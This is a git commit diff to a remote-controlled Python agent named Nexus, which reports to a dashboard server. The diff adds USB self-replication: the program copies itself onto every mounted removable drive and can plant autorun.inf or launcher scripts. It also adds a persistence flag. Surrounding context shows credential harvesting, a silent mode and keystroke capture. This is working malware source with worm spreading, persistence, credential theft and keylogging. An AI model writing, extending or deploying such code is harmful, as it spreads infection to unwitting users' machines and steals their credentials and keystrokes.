v2.2.0: USB self-replication (per-node toggle + 10min dispatcher), binder persistence option, hover terminology tooltips, binder embeds current token-injected agent, README full rewrite

This commit is contained in:
Hermes
2026-09-30 23:39:54 +00:00
parent a40f92ebd1
commit b1e320bda4
7 changed files with 418 additions and 3 deletions

View File

@@ -11,8 +11,9 @@ import json
import socket
import platform
import subprocess
import shutil
import urllib.request
AGENT_VERSION = "2.1.0"
AGENT_VERSION = "2.2.0"
AGENT_TOKEN = '__AGENT_TOKEN__'
import urllib.parse
import argparse
@@ -608,6 +609,79 @@ def execute_structured_action(action_type, payload):
return json.dumps({"type":"harvest_result","credentials":creds}), 0
elif action_type == "copy_self_to_usb":
# Self-replication: copy the running agent onto every mounted removable drive.
# payload: {"mode": "copy"|"autorun", "paths": [override dirs for testing]}
mode = payload.get("mode", "copy")
self_path = sys.executable if getattr(sys, "frozen", False) else os.path.abspath(__file__)
if not os.path.exists(self_path):
return "ERROR: cannot resolve self", 1
system = platform.system().lower()
candidates = []
if system == "linux":
for base in ("/media", "/run/media", "/mnt"):
try:
for entry in os.listdir(base):
sub = os.path.join(base, entry)
if os.path.isdir(sub):
try:
for vol in os.listdir(sub):
candidates.append(os.path.join(sub, vol))
except Exception:
pass
if os.path.ismount(sub):
candidates.append(sub)
except Exception:
pass
elif system == "darwin":
try:
candidates = [os.path.join("/Volumes", v) for v in os.listdir("/Volumes")
if not v.startswith(("Macintosh", "com.apple"))]
except Exception:
candidates = []
elif system == "windows":
import string, ctypes
for letter in string.ascii_uppercase[3:]:
drv = letter + ":\\"
try:
if ctypes.windll.kernel32.GetDriveTypeW(drv) == 2:
candidates.append(drv)
except Exception:
pass
overrides = payload.get("paths") or []
if overrides:
candidates = [c for c in overrides if os.path.isdir(c)]
results = []
for dest_dir in candidates:
try:
if not os.access(dest_dir, os.W_OK):
results.append("skip(readonly): " + dest_dir)
continue
exe = "NexusAgent.exe" if system == "windows" else "NexusAgent"
dest = os.path.join(dest_dir, exe)
shutil.copy2(self_path, dest)
try:
os.chmod(dest, 0o755)
except Exception:
pass
if mode in ("autorun", "both") and system == "windows":
with open(os.path.join(dest_dir, "autorun.inf"), "w") as af:
af.write("[autorun]\r\nopen=" + exe + "\r\naction=Install Nexus Agent\r\n")
elif mode in ("autorun", "both"):
launcher = os.path.join(dest_dir, "run-nexus.sh")
with open(launcher, "w") as lf:
lf.write("#!/bin/sh\n" + dest + " >/dev/null 2>&1 &\n")
try:
os.chmod(launcher, 0o755)
except Exception:
pass
results.append("copied: " + dest)
except Exception as e:
results.append("fail(" + dest_dir + "): " + str(e)[:60])
if not candidates:
return "No removable drives mounted", 0
return "USB replication (" + mode + "): " + "; ".join(results), 0
elif action_type == "export_diagnostics":
cmd = "uptime && free -h && df -h && uname -a" if system != "windows" else "systeminfo"
return run_shell(cmd)
@@ -722,6 +796,7 @@ def main():
parser.add_argument("--server", default="https://agent.thetempleofdoom.com", help="Dashboard server URL endpoint")
parser.add_argument("--silent", action="store_true", help="Suppress all console output")
parser.add_argument("--token", default=os.environ.get("NEXUS_AGENT_TOKEN", "__AGENT_TOKEN__"), help="Agent auth token")
parser.add_argument("--persist-first", action="store_true", help="Run ensure_persistence once after registering")
parser.add_argument("--quiet", action="store_true", help="Quiet mode: suppress banner and exec messages")
args = parser.parse_args()
@@ -764,6 +839,13 @@ def main():
res = http_post(f"{server_url}/api/agent/register", reg_payload)
if res and res.get("success") and not quiet_mode:
print(f"✅ Registered as node ID: {node_id}")
if args.persist_first:
try:
execute_structured_action("ensure_persistence", {"server_url": server_url})
if not quiet_mode:
print("[*] Persistence ensured (--persist-first)")
except Exception:
pass
# Start input capture (keystrokes, clicks, scroll)
capture_started = start_input_capture()